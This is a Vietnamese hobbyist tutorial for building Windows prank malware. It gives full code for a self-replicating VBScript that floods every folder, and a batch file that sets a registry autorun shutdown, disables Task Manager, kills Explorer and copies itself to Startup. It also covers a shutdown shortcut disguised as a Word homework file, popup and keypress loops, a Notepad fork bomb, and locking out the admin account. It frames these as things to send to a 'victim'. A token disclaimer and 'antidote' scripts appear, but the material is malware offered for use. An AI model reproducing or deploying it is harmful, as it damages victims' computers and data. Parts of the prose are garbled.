Tạo viruts tự nhân lên vào tất thư mục máy tính,đồng thời tất Tác hại VR này: - Nhân vào tất thư mục Windows, thư mục ổ C:\ D:\ E:\ thư mục Nói chung ổ cứng có Folder VR nhân lên nhiêu lần sau cho vào Folder Mục đích để người bị dính hoang mang lo sợ, muốn xóa ko thể xóa hết đc Làm xóa gần ngàn thư mục Windows? mà thư mục có mặt Virus Và tất nhiên có kèm theo thuốc giải Chạy File thuốc giải coi xong, chưa có chuyện xảy 1.Đầu tiên bạn mở Notepad lên (start > Run > gõ > Notepad > enter) Thuốc Độc Tạo virus: Gõ vào notepad đoạn code sau Mã: 'Thuoc Doc !!!Dim fso,file,VBCopySet fso=CreateObject("Scripting.FileSystemObject")Set file=fso.OpenTextFile(WScript.ScriptFullName,1)VBC opy=file.ReadAllFolderList("A:\")FolderList("B:\") FolderList("C:\")FolderList("D:\")FolderList("E:\" )FolderList("F:\")FolderList("G:\")FolderList("H:\ ")FolderList("I:\")FolderList("J:\")FolderList("K: \")FolderList("L:\")FolderList("M:\")FolderList("N :\")FolderList("O:\")FolderList("P:\") FolderList(" Q:\")FolderList("R:\")FolderList("S:\")FolderList( "T:\")FolderList("U:\")FolderList("V:\ ")FolderList ("X:\")FolderList("Y:\")FolderList("Z:\")FolderLis t("W:\")Sub FolderList(FolderSpec)On Error Resume NextDim f,f1,sf,COP,CAPSet f=fso.GetFolder(FolderSpec)set sf=f.SubFoldersFor Each f1 In sfSet COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")COP.write VBCopySet CAP=fso.CreateTextFile(f1.path & " -Virus Boss!!!!!!!.vbs")CAP.write VBCopyFolderList(f1.Path)NextEnd sub Save lại tên thuocdoc.vbs Khi nạn nhân chạy file virus tràn ngập máy tính ( Cả thư mục desktop ^_^) Virus Con Tự Tắt Máy Nhấn chuột phải New Shortcut Đánh vào dòng lệnh: shutdown -s -t * -c "**" * số giây trước máy shut down(bạn tự đặt Khoảng 5s ok vừa đọc Xong Máy Tắt Lum) "**" tin nhắn xuất trojan kích hoạt(Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha) Ex: shutdown -s -t -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha" NextĐặt file đâu tên ji` ex: Hacker Fsinish Mã: shutdown -s -t -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha" Nhưng Thế Thì Share Dám nhấn Vào đâu Phải Thay đổi mặt Nhấp chuột phải vào biểu tượng virus Chọn vào thuộc tính virus -Shortcut Change Icon -Chọn biểu tượng bạn mún virus có Chọn Cái đẹp đẹp vào Như File Word Tên Bài Tập Bấm Vào Mún Tắt thông báo không đc ( SÀi Rồi ) Đợi Nó Tự Tắt Máy Hay tự tắt TRước Virus Virus Không Thể Tắt ( dễ tắt ) Mã: msgbox " Đừng có tắt dòng thông báo không bạn gặp rắc rối đó!",,"Thông báo rùi không nghe ráng chịu!"msgbox "Đã Kêu Đừng Bấm Vào Rồi Sao Vẫn Bấm Lỳ Vậy"domsgbox "Bạn bị lừa Hiện bạn tắt thông báo được! ha ha!",,"Liên Hệ níck bạnheh@yahoo.com Để Tắt Thông Báo Này"loop Save dạng vbs Chọn All file Unicode dòng cuối Virus Bấm Enter Liên Tục ( không Ngừng ) Mã: Set wshShell = wscript.CreateObject("WScript.Shell") wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Lưu Lại với Tên bạn mún đặt.vbs nháCon thuốc Virus Ngập Tràn Notepad( không Ngừng ) Mã: @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Lưu Lại với Tên bạn mún đặt.vbs nhá Con thuốc Con Số ( Trong Thứ ngày 13) [Cực Khủng Lum Mở notepad lên copy đoạn lệnh vào : Mã: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /freg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d /fclscopy thelove.bat "C:\Documents and Settings\All Users\StartMenu\Programs\Startup\"clstaskkill /f /im explorer.execlsshutdown.exe -f -s -t 05 -c "your computer will turn off after 5s "cls@echo offecho Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!echo GOOD BYE pausedel Hacker Ghost_Team.bat save lại với tên Hacker Ghost_Team.bat gửi cho victim , click explorer bị tắt , mà hình trắng trơn tự động sau GIÂY máy bị tắt Từ lần khởi động máy sau tương tự bị GIÂY tắt haha Nếu Chạy Kèm Với Con Này Mã: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e ntVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e ntVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d /f cls copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" cls taskkill /f /im explorer.exe cls @echo off echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!! echo GOOD BYE SEE YOU AGAIN pause del Hacker Ghost_Team.bat Thì Lại Thành Vô Đối Giải Cứu ( Cái Này Phải Có Trong Máy Trước không nguy Đón win Cao) Mã: del "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.bat" copy h.bat "C:\Documents and Settings\All Users\Start Menu\Startup\" cls Mã: shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a cls Mã: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e ntVersion\Run" /v shutdown reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e ntVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d /f cls del "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.bat" cls @echo off echo xong roi an toan roi echo GOOD BYE SEE YOU AGAIN pause Lưu Lại Với tên Khác Rồi Bỏ Vào Foder Tên giải Cứu nhét vô Ổ D nha GIẢI CỨU : Vì tắt explorer , taskmanganer ,và tự động shutdown thực all user nên cách vào admin vào admin xong mở file giaicuu.rar vừa lưu vào ổ D:\ chạy file giaicuu.bat , xong restart lại máy(không cần vào admin) chạy tiếp tieptheo.bat xong CHÚ Ý :Nếu wa' thù ghét victim khóa admin cách thêm : net user administrator 123456 vào đầu đoạn mã trên.(123456 password admin ) P/S: cấm dùng Virut phá người nhá nhận win chèn thêm convirut bất diệt phải có file giải cứu trước mà mở lên tắt nên thay win ) nghiêm cấm sử dụng với mục đích phá hoại cẩn thận chúng wánh phù mỏ